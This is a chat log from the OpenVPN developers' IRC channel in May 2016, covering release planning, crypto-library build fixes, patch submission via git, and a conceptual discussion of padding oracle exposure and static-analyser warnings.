<@plaisthos> james12343: I not going to explain you how http works here, sorry 04:58 < james12343> its ok 04:59 < james12343> plaise what i factors i need to know for writing openvpn program.? 05:02 <@plaisthos> james12343: you got that answer already 05:03 < james12343> networking, vpn, cryptography, what other else i need 05:05 <@cron2> understanding of the target platform 05:09 <@mattock> 2.3.11 out 05:28 <@syzzer> mattock: nice! 06:03 <@cron2> \o/ 12:21 < james12343> hi plais 12:22 < james12343> i have one more question for you 12:23 < james12343> is there no algorithm for openvpn? 12:24 < james12343> i read the principal of openvpn 12:54 <@cron2> whoa, win10... my VM managed to get itself upgraded \o/ 14:49 <@ecrist> my 8.1 system refuses to upgrade because it uses a volume license key 19:28 -!- krzee [ba95f387@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] --- Day changed Wed May 11 2016 18:59 -!- krzee [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 18:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu May 12 2016 12:02 < QORRiE> hi, i noticed that one of the changes in release 2.3.11 is that building with LibreSSL is fixed 12:03 < QORRiE> however, i also noticed that the openvpn-build repository @ git, does not accept just replacing the OpenSSL source with LibreSSL 12:04 < QORRiE> it would need some changes in the build.vars and build itself 12:06 < QORRiE> some differences are that it uses ./configure instead of ./Configure, and it won't accept a few of the options passed through 12:06 < QORRiE> shared, no-dso, --cross-compiler-prefix, amongst other things 12:07 < QORRiE> the relative paths given for /lib don't resolve as well, inside the LibreSSL configure phase 12:09 < QORRiE> thought i'd mention it here; is there any chance that openvpn-build will be altered to allow compilation with LibreSSL as well, like with 2.3.11 ? 12:37 <@ecrist> mattock: ^^^ 16:42 <@cron2> QORRiE: if you send a patch and that is clean enough, why not... I do not think one of us is going to do that - libreSSL is enough of a pain ("we pretend to have OpenSSL API but are missing some functions") that we're not particularily interested in investing time 16:50 < QORRiE> understood, cron2 16:51 <@cron2> the patch in 2.3.11 was user contributed, so all we needed to do was "look at it, grumble a bit about API brokenness, decide that it won't harm other platforms, and merge"... 16:53 < QORRiE> easiest route, i think, would just be a separate build + build.vars file 16:54 < QORRiE> i'll see what i can do 17:38 < m-a> some hackers awake? I've got a crasher (SIGSEGV, strlen being fed a NUL for its 2nd string) in openvpn 2.3.11 when built with polarssl 1.3.16 on FreeBSD 18:17 < m-a> will mail details to openvpn-devel@ --- Day changed Fri May 13 2016 01:36 <@cron2> m-a: ouch. And good morning... 01:36 * cron2 did test 2.3.11 on FreeBSD, but not with PolarSSL 01:42 <@cron2> syzzer: yours! 01:43 <@syzzer> yes, testing a patch now... 01:43 <@syzzer> just read my mail 01:43 <@cron2> that was quick :) 01:56 <@syzzer> patch on the list 01:58 <@cron2> you write "mbedtls builds" - but master passes self tests just fine today? Or was that "however the library is called that you link to 2.3"? 01:59 <@syzzer> technically, the 1.3 branch is also called mbedtls 01:59 <@syzzer> this patch is for 2.3 only 01:59 <@cron2> ok 02:00 <@cron2> given that you patch ssl_polarssl.c, the "2.3 only" part was obvious :) 02:00 <@cron2> "no such file anymore" 02:00 <@syzzer> hehe, yep 02:01 * syzzer is off to work now 02:02 <@cron2> patch looks good, self test is running 02:04 <@cron2> All 2 tests passed 02:04 <@cron2> (1 test was not run) 02:49 <@cron2> syzzer: I'm not totally convinced that PolarSSL's default cipher list is truly *sane*, looking at this output from "make check"... 02:49 <@cron2> Testing cipher DES-CBC... OK 02:49 <@cron2> Testing cipher DES-EDE-CBC... OK 02:49 <@cron2> Testing cipher DES-EDE3-CBC... OK 02:50 <@cron2> but besides that, my FreeBSD system that can act as a quick sanity check for new commits "to the central repo" is now passing all tests - wasn't set up properly for t_client tests before... 02:50 <@cron2> ================== 02:50 <@cron2> All 3 tests passed 02:50 <@cron2> ================== 02:50 <@cron2> (2.3 with the patch, on FreeBSD 9.3) 02:53 <@mattock> 2.3.12 can probably get away with being a source-only release 02:54 <@mattock> given that we don't provide any polarssl-enabled executable (windows, debian, ubuntu...) 02:57 <@syzzer> cron2: the output of 'make check' is unrelated, those are the --cipher options, while this patch is about --tls-cipher :) 03:14 <@mattock> although if we get the WPAD patch in, then a full release would make sense 03:14 <@mattock> off to lunch with lev 03:17 <@d12fk> cron2: is there an function in libc with which you can calculate a network prefix from a address & bits? 03:17 <@d12fk> or doesn ovpn maybe have one i'm not aware of 03:18 <@d12fk> will kepp looking 03:22 <@cron2> syzzer: need more coffee, obviously :-) 03:23 <@cron2> d12fk: v4 or v6? 03:24 <@cron2> mattock: I would suggest doing 2.3.12 with a few fixes in "some time next week" or so - like, the WPAD patch 03:24 <@cron2> someone should test it... (and I think one of the "privacy vpn service providers" should have an interest here) 03:42 <@d12fk> cron2: v6, for v4 its just an & with the netmask, easy =) 03:43 <@d12fk> thought there might be a function for that since it is a comon task 04:17 <@cron2> d12fk: nothing in the libraries (I'm aware of), but we have something - which, AFAIR, you've already changed for the iservice code :-) 04:17 <@cron2> route_ipv6_clear_host_bits() 04:21 <@cron2> valdikss: just to say it - a big thank you for block-outside-dns. Some of my colleagues got win10-auto-installed, and had issues with internal DNS not resolving properly, and --block-outside-dns makes everything well (and, btw, thanks lev__ for IV_PLAT_VER for windows, which nicely complements this - client-connect script checks $IV_PLAT_VER, and pushes block-outside-dns if needed) 04:23 <@cron2> mattock: your buildslave still tries to build 2.3.10 from 2.3.11 sources :) 05:54 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:54 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 05:54 <@cron2> mattock2: your buildslave still tries to build 2.3.10 from 2.3.11 sources :) 06:56 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 07:00 <@d12fk> cron2: have I? maybe just a drive by haven't noticed for sure =) thanks! 07:23 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: sigterm] 07:24 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 07:28 <@cron2> d12fk: the original function returne a copy, and you changed it work work on an in6_addr in-place, AFAIR (because that can then be used right away for deletion, without needing to re-do the thing) 07:28 <@cron2> :) 08:17 <@d12fk> i'm awesome =) 08:20 < Qommand0r> cron2: worked on what we discussed yesterday, came up with this: 08:20 < Qommand0r> https://github.com/woohooyeah/openvpn-build/blob/master/README.woohooyeah 08:20 <@vpnHelper> Title: openvpn-build/README.woohooyeah at master · woohooyeah/openvpn-build · GitHub (at github.com) 08:27 <@syzzer> Qommand0r: re the patchfile, the IANA names should include the PRF, ie TLS-ECDHE-RSA-WITH-CHACHA20-POLY1305-SHA256 (notice the -SHA256) 08:27 <@syzzer> see http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-4 (but with - instead of __ 08:27 <@vpnHelper> Title: Transport Layer Security (TLS) Parameters (at www.iana.org) 08:28 <@syzzer> if you fix that, could you please send the patch to openvpn-devel@lists.sourceforge.net (using git send-email), so that we can include it upstream? 08:29 <@syzzer> (that is specifically about the CHACHA/POLY patch) 08:34 < Qommand0r> syzzer: no problem, i will 08:36 <@syzzer> Qommand0r: thanks! 08:43 < Qommand0r> hmm, i wish i knew how git-send-email works 08:46 < Qommand0r> i'll try it ;P 08:53 < Qommand0r> why is this so complex, i just want to send the .patch file 08:56 < Qommand0r> the commit itself is just altering the names, but i'd like to email the file itself, not the commit.. can i just use regular email? 08:57 <@plaisthos> Qommand0r: most patches with regular mail are garbaled from the mail client 08:57 <@plaisthos> and have white spaces etc. 08:58 <@plaisthos> so they don't apply anymore 08:59 < Qommand0r> hm, i fail to understand how I can just send that patch file 09:00 < Qommand0r> trying to find instructions for it 09:06 < Qommand0r> is there a different way to submit a patch? 09:07 < Qommand0r> i found git format-patch, but this only applies to commits, not files 09:07 < Qommand0r> (if i understand correctly) 09:11 <@cron2> Qommand0r: you always commit, and then you do "git format-patch -1" to get the lastest commit in patch file format 09:11 <@cron2> and since most mail clients are too stupid to leave whitespace alone, git send-email 09:12 < Qommand0r> cron2: my latest commit, was merely adjusting the patch file 09:12 < Qommand0r> so it would be a patch of a patch 09:12 < Qommand0r> the patchfile is new in the tre 09:13 <@cron2> if you change something that is in git, whatever it is -> git commit, then git send-email 09:13 < Qommand0r> and then it emails the full file, not just the commit i hope? 09:13 < Qommand0r> the file itself is not present yet in the regular openvpn-build repo 09:14 < Qommand0r> hmm, maybe i could remove and re-add the file, then git send-email thát adding commit? 09:23 < Qommand0r> lemme try 09:24 < Qommand0r> otherwise it would just send the commit containing a patch for a file that is a patch in itself 09:24 < Qommand0r> and not present yet 09:30 < Qommand0r> ok, this seems to work correctly 09:36 < Qommand0r> ok, sent 10:03 < Qommand0r> sry for the fuzz, my understanding of git has improved slightly over the course of this afternoon 10:13 <@syzzer> Qommand0r: yes, it takes a bit of time to get used to git 10:13 <@syzzer> but once you do, you'll love it ;) 10:13 <@syzzer> many thanks for bearing with it tho 10:15 <@syzzer> I think the confusion was about the repository you're working on. You've been working on openvpn-build.git, while we'd like the patch for openvpn.git. So the easiest way would have been to just git clone the openvpn.git, make you changes, commit, do git format-patch and then git send-email (or git send-email without git format-patch, but I like to review the .patch file before sending it out) 11:20 < QORRiE> syzzer: i sent the patch using git send-mail, but i get a message back that i'm not allowed to send any 11:20 < QORRiE> and to contact the list owner 11:26 < Qommand0r> ah, cool, understood syzzer 11:47 < Qommand0r> okay, done syzzer 11:49 < Qommand0r> i had to subscribe to the list first (d'oh) 12:05 < Qommand0r> :) 12:05 <@plaisthos> Qommand0r: I think you forgot the -SHA256 in the cipher names 12:06 < QORRiE> previously i did, but not with the latest one 12:06 < QORRiE> https://github.com/woohooyeah/openvpn/commit/32b0a154f2ae9d13e97a2f2ddc9f3967f8a97a06 12:06 <@vpnHelper> Title: Add CHACHA20-POLY1305 ciphersuite IANA name translations. · woohooyeah/openvpn@32b0a15 · GitHub (at github.com) 12:06 < QORRiE> this is the one i emailed 12:06 < QORRiE> in the name itself (not the name translation), -SHA256 is not mentioned 12:11 < QORRiE> in LibreSSL's cipher name list 13:49 < QORRiE> seems to work fine: Control Channel: TLSv1.2, cipher TLSv1/SSLv3 DHE-RSA-CHACHA20-POLY1305, 4096 bit RSA 14:53 < valdikss> cron2: should I make a standalone application I wonder 15:18 <@cron2> valdikss: why? 15:19 < valdikss> cron2: to prevent DNS leaks without OpenVPN 15:20 < valdikss> cron2: like with usual VPN connection 15:20 < valdikss> cron2: PPTP, IKEv2, etc 15:20 <@cron2> PPTP is so insecure that DNS leaks are the smallest worry :) - and maybe MS isn't so broken with IPSEC VPNs? 16:47 < valdikss> cron2: I don't use PPTP, that's just an example. DNS leaks may occur even without VPN, if you have multiple NICs for example. --- Day changed Sat May 14 2016 02:58 <@syzzer> Qommand0r: thanks for the patch - but just so you know, gmail marked the mail as spam, because: "It has a from address in woohooyeah.nl but has failed woohooyeah.nl's required tests for authentication." 02:59 <@syzzer> Oops, that should have been QORRiE, but he's not around anymore 05:25 <@syzzer> trying to build against the OpenSSL 1.1.0 preview, seems the OpenSSL people decided it was time fix their API and stop caring about backwards compatibility... 05:25 <@syzzer> so they did the 'polarssl thing', and just broke everything :') 07:48 <@cron2> ewwww... can we be compatible with 1.0 and 1.1, or will it be ssl_openssl_11.c? 12:50 <@syzzer> cron2: looks like we can be compatible, but it will require some ifdefs 14:50 < james12343> which API i need for writing vpn for s60v5 14:51 < james12343> can i develop this API for Symbian 14:52 < james12343> i want to port openvpn for s60v5 14:53 < james12343> but which type API I SHOULD HAVE FOR Symbian 14:53 < james12343> s69v5 14:53 < james12343> any one can help? 14:55 < james12343> plais??... --- Day changed Sun May 15 2016 04:30 <@cron2> syzzer: the Add CHACHA20-POLY1305 ciphersuite IANA name" - does it make sense? 04:30 <@syzzer> cron2: yes, it does 04:30 <@syzzer> I wanted to test the patch, which meant either building against libressl or openssl 1.1.x 04:31 <@syzzer> I opted for openssl 1.1.x, but then everything broke down :p 05:10 <@cron2> ic 06:53 <@syzzer> "Control Channel: TLSv1.2, cipher TLSv1.2 DHE-RSA-CHACHA20-POLY1305, 2048 bit RSA" \o/ 06:54 <@syzzer> (something else breaks right after that, but at least I tested the patch ;) ) 07:05 <@plaisthos> syzzer: that is what you get for running pre-release software ;) 07:08 <@syzzer> plaisthos: yeah, well, I sure hope they'll fix a lot of stuff before releasing... 07:09 <@syzzer> on the bright side, seems like I'll get my first commit in openssl 07:09 <@plaisthos> ;) 07:09 <@syzzer> still good to know, we use far too many 'internal' openssl functionality 07:10 <@syzzer> which they've all made opaque now 07:10 <@plaisthos> so openvpn breaks with 1.1.x? 07:10 <@plaisthos> :/ 07:10 <@syzzer> yeah, quite horribly 07:11 <@syzzer> even more, 'the right way' to do thing in 1.1.x does not work with pre-1.1.x 07:18 <@cron2> syzzer: hooray... 07:18 <@cron2> syzzer: as for the ACK - I assume this is master only? or 2.3 as well? 07:18 <@cron2> (ISTR that the translation table stuff changed in master, so it won't fit, or suchlike) 07:33 <@vpnHelper> RSS Update - gitrepo: Add CHACHA20-POLY1305 ciphersuite IANA name translations. <https://github.com/OpenVPN/openvpn/commit/e7ec6a3a11ecee54cb10de789668dd37c3f9fc54> 07:43 <@syzzer> cron2: this can go into 2.3 too, which will help people using libressl 07:43 <@syzzer> cherrypicks fine for me at least 07:43 <@syzzer> given the current state of openssl 1.1.x, I doubt that we will support that in release/2.3 07:46 <@cron2> mmmh, indeed, table looks quite similar - I misremembered 09:41 < SCHAAP137> nice, cool that the patch is applied 09:45 < SCHAAP137> i use that cipher daily, haven't seen any issues 12:49 <@cron2> which crypto library do you use? 13:41 < SCHAAP137> cron2: LibreSSL 13:45 < james12343> Hello anybody here 13:47 < james12343> which api i need for openvpn 14:07 <@plaisthos> james12343: your question is overly unsepcific 14:07 <@plaisthos> !goal 14:07 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc 14:07 < james12343> hi plais 14:07 < james12343> i was waiting for you 14:08 < james12343> as you told me before to port openvpn for Symbian i need compatible API 14:09 < james12343> SO i want to know which type Symbian api i need for openvpn 14:09 < james12343> cN i 14:09 < james12343> can i develop this api fir Symbian for openvpn 14:09 <@plaisthos> james12343: a VPNService/tun api 14:09 <@plaisthos> james12343: http://developer.android.com/reference/android/net/VpnService.html 14:09 <@vpnHelper> Title: VpnService | Android Developers (at developer.android.com) 14:09 <@plaisthos> that is the android api as reference 14:10 <@plaisthos> but porting openvpn to a new system is a major effort 14:10 < james12343> Yeah 14:10 <@plaisthos> I think my initial proof of concept build for Android took me two weeks alone 14:10 < james12343> can i develop tun api for s60v5 14:11 <@plaisthos> No idea 14:11 <@plaisthos> I don't know symbian 14:12 < james12343> when android support tun api 14:12 <@plaisthos> james12343: I just gave you the link to that 14:12 < james12343> at starting it doesn't support 14:12 < james12343> thanks 14:17 < james12343> is android openvpn is totally based on java? 14:17 < james12343> or its uses same c Programming 14:28 < james12343> plais 14:29 < james12343> is there no algorithm for openvpn?? 18:40 < claudiop> I think I found a bug, a "Nothing happens" kind of bug. Would like to know a way to debug it. The process always returns 1 without any output, no matter the verbosity 18:41 < claudiop> Already tried two different config files. Get absolutely 0 output even with --verb 11 18:41 < claudiop> Im thinking it might be a variation of this: https://community.openvpn.net/openvpn/ticket/567 18:41 <@vpnHelper> Title: #567 (OpenVPN fails with no log output when config file is empty or (sometimes) has a non-whitespace syntax error) – OpenVPN Community (at community.openvpn.net) --- Day changed Mon May 16 2016 02:32 <@mattock> cron2: Windows buildslave fixed (2.3.10 -> 2.3.11) 02:35 <@mattock> made a note to my release docs to ensure I remember to do this the next time 03:46 <@cron2> :) 03:46 <@cron2> it could just "cd openvpn-2.3.*"... 03:49 <@mattock> yeah, but this is openvpn-build 03:49 <@cron2> so? 03:49 <@mattock> it needs to be given the openvpn version number 03:49 <@mattock> unless using build-snapshot 03:49 <@cron2> it's a computer, it should be able to figure that out by itself 03:50 <@mattock> yes, probably, but a human would need to do some refactoring :) 03:50 <@mattock> it figures out absolutely nothing without human intervention 03:51 <@cron2> I remember having stared at it for a while, wondering why it's such a pile of sh*t... 03:51 <@mattock> that probably because it was done the "correct way" 03:51 <@cron2> most likely. Correct in every aspect, which does not include "user convenience" :) 03:52 <@mattock> that said, all openvpn windows buildsystem have been a pile of shit, even before openvpn-build 03:52 <@cron2> true 03:52 <@cron2> (and having to build on a windows machine is even worse) 03:52 <@mattock> oh yeah, I would not go there 03:59 <@cron2> btw, if we do a meeting next monday (which would be the normal schedule), I won't make it - I'm in Copenhagen next week. But two weeks from today would be fine - and I think we should try to have regular meetings again, especially as we might even get close to 2.4 04:37 <@mattock> yeah, agreed 04:58 <@syzzer> yep 04:59 <@syzzer> next Monday or the week after are both fine for me 05:01 <@plaisthos> this james12343 and his ill advised symbian plan ... 05:02 <@syzzer> also, as for 2.4, Fox would like to see a bit more progress too, so I can spend some company time on cipher negotiation (even though it will probably not be used in OpenVPN-NL). Now I just need to find a time slot that fits with my other company tasks... 05:12 <@cron2> plaisthos: he's particularily fond for you :) 05:12 <@cron2> syzzer: this is great news 05:36 <@cron2> plaisthos: if you could have a look at http://article.gmane.org/gmane.network.openvpn.devel/11665 - I finally found time to integrate your feedback on v2 into v3 05:36 <@vpnHelper> Title: Gmane -- PATCH v3 Implement push remove option to selectively remove pushed options. (at article.gmane.org) 06:47 <@vpnHelper> RSS Update - gitrepo: Make error non-fatal while deleting address using netsh <https://github.com/OpenVPN/openvpn/commit/e3420d5683ffcc4386f78485bae3288a48f5cc17> 06:53 <@cron2> mattock: 2.3.12 on wednesday or thursday? 07:06 <@mattock> hmm, thursday is better 07:09 <@cron2> ok, I'll collect what comes up until wednesday evening, and then sign+push thursday morning 07:10 <@cron2> someone could try applying the WPAD patch and reproduce the issue to see whether setting some garbage/empty WPAD option will fix this or not... if yes, the patch should certainly go into 2.3.12 (if not, it can still go it, but is not as important) 07:11 <@mattock> I think the guy who reported the WPAD issue could do testing 07:11 <@mattock> he has the test setup already and know exactly what to look for 07:12 <@cron2> but he won't be able to build an installer with the patch... 07:23 <@cron2> Signing './openvpn-install-2.3.11-I601-x86_64.exe' 07:23 <@cron2> Succeeded 07:23 <@cron2> hah :) 07:34 <@ecrist> dazo: congrats on the contract. sounds like it's a good deal all around 09:34 <@vpnHelper> RSS Update - tickets: #682: Protect the client from accepting arbitrary options pushed by the server <https://community.openvpn.net/openvpn/ticket/682> 13:37 <@vpnHelper> RSS Update - gitrepo: Implement push-remove option to selectively remove pushed options. <https://github.com/OpenVPN/openvpn/commit/970312f185012341cc5bcc9492ab3e1413c7b3c7> || Add support for register-dns through interactive service <https://github.com/OpenVPN/openvpn/commit/3e42a558103e4e3f45ed28ccb761cefed20e8247> 14:05 <@cron2> plaisthos: any opinion about http://article.gmane.org/gmane.network.openvpn.devel/11615 14:05 <@vpnHelper> Title: Gmane -- PATCH Add SHA256 fingerprint support (at article.gmane.org) 17:04 <@plaisthos> cron2: code looks good, did not have time to compile check and see if it works --- Day changed Tue May 17 2016 02:43 <@mattock> it's nice to see people linking to the Windows snapshots 02:43 <@mattock> they actually simplify testing fixes and features _a lot_ 02:59 <@cron2> yep, it's really cool that we have them (thanks!) 03:32 <@mattock> np, it makes my job much easier 03:32 <@mattock> no need for "mattock: could you build an installer based on this or that feature" 03:32 <@mattock> except when the code in question is not in the main tree 03:36 <@mattock> cron2: janjust's WPAD patch seems to apply cleanly to "master" 03:36 <@mattock> afaics it was not reviewed, if not on the IRC 03:42 <@cron2> no review yet, right. Cursory look seems "okish", but need to look *really* closely before ACKing - the whole code area is unfamiliar, so I'm not sure what the functions do that he's calling 03:46 <@cron2> mattock: for next meeting, please put trac#682 on the agenda :-) - before starting to code something, this needs some sort of "which direction do we want to go" 03:47 <@mattock> cron2: ok 03:47 <@mattock> so next meeting would 30th, right? 03:50 <@mattock> ok, here: https://community.openvpn.net/openvpn/wiki/Topics-2016-05-30 03:50 <@vpnHelper> Title: Topics-2016-05-30 – OpenVPN Community (at community.openvpn.net) 04:05 <@cron2> mattock: yes, thanks. 04:52 <@vpnHelper> RSS Update - tickets: #683: openvpn 2.3.11 does not start up <https://community.openvpn.net/openvpn/ticket/683> 05:05 <@cron2> oh 05:05 <@cron2> mattock: could you please add "version" tags for 2.3.11 and 2.3.12 to trac, and milestone 2.3.13 and 2.3.14? 05:06 <@cron2> #683 wants to be "version 2.3.11" which it cannot be, as there is no version 2.3.11... 05:28 <@vpnHelper> RSS Update - tickets: #684: improper process termination <https://community.openvpn.net/openvpn/ticket/684> 05:49 <@mattock> cron2: it has been done 06:13 <@cron2> thanks. Is there a way to get these sorted? Right now, the "version" thingie has 2.3.11 fairly far away from 2.3.10 - and right next to 2.3.7 07:11 <@mattock> um, apparently Trac sorts them, _but_ releases that have release date set get sorted separately 07:12 <@mattock> do they show up correctly now? 07:12 <@mattock> I removed the release dates 07:20 <@cron2> much better, thanks 13:57 <@cron2> plaisthos: your app does not support lport? --- Day changed Wed May 18 2016 01:42 <@vpnHelper> RSS Update - gitrepo: Push an IPv6 CIDR mask used by the server, not the pool's size <https://github.com/OpenVPN/openvpn/commit/0d8a4ffa2293dda8139189725a5c49fbe0eb500b> 03:47 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 03:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 03:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:47 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:24 <@dazo> ecrist: thx! 04:36 <@d12fk> is ovpn actually affected from all the paddin gorcale attacks against openssl? IIRC only the handshake are done with TLS, the data channel is the proprietary, right?! It's hopefully done as encrypt-then-authenticate? 05:26 <@cron2> mattock: have you not bumped the tap driver version when applying the bugfix?? 06:20 <@syzzer> d12fk: 'it depends' 06:20 <@syzzer> the control channel is vulnerable to padding oracle attacks, but some attacks require attacker-controlled data 06:21 <@syzzer> those attacks will usually not work, because it is hard to control the data sent over the control channel 06:21 <@syzzer> the data channel uses encrypt-then-mac, so it not vulnerable 06:52 <@plaisthos> cron2: it does but not with ports < 1024 06:53 <@cron2> the user said it refused "lport 3246" with the message 06:53 <@cron2> # These options found in the config file do not map to config settings: 06:53 <@cron2> lport 3246 06:53 <@plaisthos> config settings should be gui settings 06:54 * cron2 does not understand 06:54 <@plaisthos> the app tells you that it added these settings as custom settings 06:54 <@cron2> ah 06:56 <@plaisthos> and then people usually want me to implement root for lport 06:56 <@cron2> thanks :) - wrote back the distinction between config setting ("gui fields") and "other stuff", and "it must be >= 1024" 07:06 <@plaisthos> some users claim to need lport 53 to make VPN work ... 07:06 * cron2 does not want to know 07:06 <@plaisthos> (even though real DNS does not originate from lport 53 ...) 07:59 <@d12fk> syzzer: isn't it almost impossible to do the attack with ovpn? with a browser you can inject js that does ajax requests until you're pleased but how would you go on with ovpn? 08:01 <@d12fk> and then what would you gain from the control channel? The keys are established using DH so there shouldn't be anything to fetch from the decrypted payloads or am i missing somethign here? 08:04 <@syzzer> d12fk: TLS uses DH, but the data channel keys are exchanged 'in plain' over the control channel 08:06 <@syzzer> the trick is that the attacker can send arbitrary cipher texts, and if it can distinguish whether it has incorrect padding, it learns a bit about the plaintext 08:09 <@syzzer> but the fix is easy: just use TLS 1.2 with AEAD cipher suites (e.g. AES-GCM or CHACHA20-POLY1305) 08:18 <@d12fk> yeah, 2016 is the year of TLS 1.2 08:31 <@cron2> syzzer: and cipher negotiation! 10:41 <@cron2> d12fk: if you have a moment, could you look at https://github.com/OpenVPN/openvpn/pull/47 10:41 <@vpnHelper> Title: fix cppcheck findings by chipitsine · Pull Request #47 · OpenVPN/openvpn · GitHub (at github.com) 10:41 <@cron2> ? 10:42 <@cron2> the claim is "double free() in interactive.c" - I think the code is fine (if a bit complicated to follow, and obviously fooling cppcheck) but would welcome a close look by the one who wrote that... 10:49 <@d12fk> blindly trusting and fixing what code analyzers spit out? did work out for debian a while ago. =) 10:51 <@d12fk> cron2: are we talking master? 10:59 <@d12fk> commented 11:30 <@syzzer> d12fk: I think I missed the debian thing. You have a link to a nice and gory story? :p 11:44 <@cron2> d12fk: yes, thanks 11:45 <@cron2> I'm all for "closely looking at the output of analyzers" (sometimes they *do* find things) - and for "avoid weird macros that make analyzers unhappy" - msg() alone triggered something like 150 warnings in coverity 11:46 < Thermi> So there are about 150 things that could be wrong with it 11:46 < Thermi> (Sorry for just speaking into this, but I care about things being relatively flawless) 11:47 <@cron2> oh, it was not msg(), but ASSERT() that triggered the huge number 11:47 <@cron2> because coverity did not understand that there was a "will never return" function call involved, and thus made assumptions about variables that were explicitely *falsified* by the ASSERT() call... 11:48 <@cron2> adding an _exit() into the macro made coverity all happy :-) 11:48 <@cron2> (without changing actual code flow) 11:48 < Thermi> Small things. 11:48 <@cron2> msg() triggered warnings about integer range comparisons, because some message levels are intended to be "always logged", so triggered the "0 <= (unsigned int)" --> "always true!" warning... 11:49 < Thermi> Why not use a seperate macro for those things? 11:49 < Thermi> Or a seperate function? 11:49 < Thermi> msg_cond and msg 11:49 <@cron2> ... which, being a macro, get optimized away by the compiler anyway, and are fully intentional... but... - so now it's a inline function, which does the same thing 11:50 <@cron2> because calling different functions does not make the code more readable... 11:50 <@cron2> it's always "msg(M_LEVEL, "printf format string", arguments)", everywhere, consistently 11:51 < Thermi> It would make those stuff go away and reduce the number of lines that coverity prints out 11:52 < Thermi> less warnings/errors -> happier Thermi 11:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 11:53 * cron2 doesn't care very much about silencing coverity, if it means "more complications in our code" 11:53 <@cron2> but syzzer solved that nicely by making msg() an inline function 11:57 < Thermi> Would you insert a typecast from DWORD to uint32_t to silence a compiler warning? 11:58 <@cron2> we're not talking compiler warnings but coverity (and other static code analzyer) warnings 11:58 < Thermi> Warnings are warnings. And I care about warnings. It seems your opinion is different. 11:58 <@cron2> signed/unsigned *compiler* warnings are complicated, and in many cases it's preferrably to have proper chain of variables instead 11:59 <@cron2> I care about maintainable and bug-free code. Warnings help, but "blindly inserting code that is only there to silence the warnings" is WRONG 11:59 < Thermi> Yes, I think so, too. Static code analyzers are helpful in regards to finding and preventing bugs, as are compiler warnings. 11:59 <@cron2> I remember having debugged a time_t problem in Amanda some time ago, on NetBSD/Sparc64 (big endian, 64 bit time_t) 12:00 <@cron2> the code in question used an "int" instead of time_t - which nicely works on 32 bit platforms, but gives a warning 12:00 <@cron2> so that warning was silenced by adding (time_t *) &intvar 12:00 <@cron2> which, on the 64bit platform, resulted in "intvar" always being 0, as it only saw the high 32 bits, not the interesting part 12:01 <@cron2> so timestamps were always Jan 1st 1970... "but it compiled with no warning!" 12:01 < Thermi> The person inserting that there obviously did not quite understand the implications. IMHO a typecast is an explicite type conversion that is used by programers to tell the compiler "I know and understand the consequences. Let me do that." 12:01 <@cron2> so, the proper fix would have been to use a time_t in the first place, not add a cast 12:02 <@cron2> which is why in your DWORD/uint32_t case, I argue for looking at the context and seeing if it can be solved by having a full chain of DWORD values (or uint32_t) instead of casting 12:02 < Thermi> Yes. A DWOARD is an unsigned 32 bit value, though. AS is uint32_t. 12:02 < Thermi> *As 12:02 < Thermi> So only the lable would have been different 12:02 < Thermi> But I see your point. 14:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:54 <@ecrist> ping mattock 16:57 <@ecrist> see PM 18:34 < Thermi> Can I use the windows TAP driver with synchronous IO (ReadFile, WriteFile) or do I really need to do that batshit crazy asynchronous IO queue thingy? 18:34 < Thermi> I'm reading the source of the tap driver and the source of openvpn, but it's both not understandably for a noob like me 18:35 < Thermi> The source of the tap driver tells me, that it assumes that queue thing, so I do not know if writing and reading from it synchronously would work --- Day changed Thu May 19 2016 01:27 <@cron2> mattock: are you awake? 01:31 <@cron2> ah, he is, and sending mails already :) 02:23 <@cron2> syzzer: do you want to introduce a "no 64bit CBC" warning into 2.3.12? release pending :-) 02:25 <@mattock> when exactly is the next hackthon? 02:26 <@cron2> sep 16-sep 18 if lev__ can arrange everything 02:26 <@mattock> ok 02:26 <@cron2> and good morning to you, too :) 02:26 <@mattock> good morning :D 02:34 <@syzzer> cron2: busy day today - when do you want to do the release? 02:35 <@cron2> syzzer: well, the original plan was "now", but I'm hoping to get feedback from James or Plaisthos on PR#46 - which would be nice to get fixed right away 02:36 <@cron2> if mattock has time, we could do tomorrow or saturday as well, or 2.3.12 now and "2.3.13 very soon after", but that looks a bit silly 02:36 <@syzzer> but yes, I'd like to add such a patch. Also, something I've been thinking of for a while, we might want to make the --show-ciphers and --show-digests a bit more helpful, by splitting it into 02:37 <@syzzer> a short 'recommended' list, and 'the rest' 02:37 <@cron2> sounds good 02:37 <@cron2> mattock: can we do fri/sat/sun for 2.3.12? 02:38 <@syzzer> ok, I'll try to create a patch soon - but have to leave now 02:38 <@mattock> fri or mon would do 02:39 <@cron2> mattock: ok... 02:39 <@cron2> syzzer: I'm here all day, send when you're ready :-) 02:39 <@mattock> meaning "I don't want to spend ~3-4 hours in the weekend making a release if I don't have to" :) 02:39 <@mattock> what about the WPAD patch? 02:39 <@mattock> is it going in? 02:40 <@cron2> mattock: well... since nobody knows how to use that to work around the WPAD issue, I find it not highly important - so did not focus on understanding the code and reviewing it. But I'll try to have a close look today. 02:40 <@cron2> Monday is not working for me (leaving to copenhagen early morning) but I could tag and push sunday evening if friday does not work out 02:41 <@cron2> I really hope to hear from James... do you know whether he's around, and reading mails? 02:46 <@mattock> cron2: tag on sunday sounds good 02:46 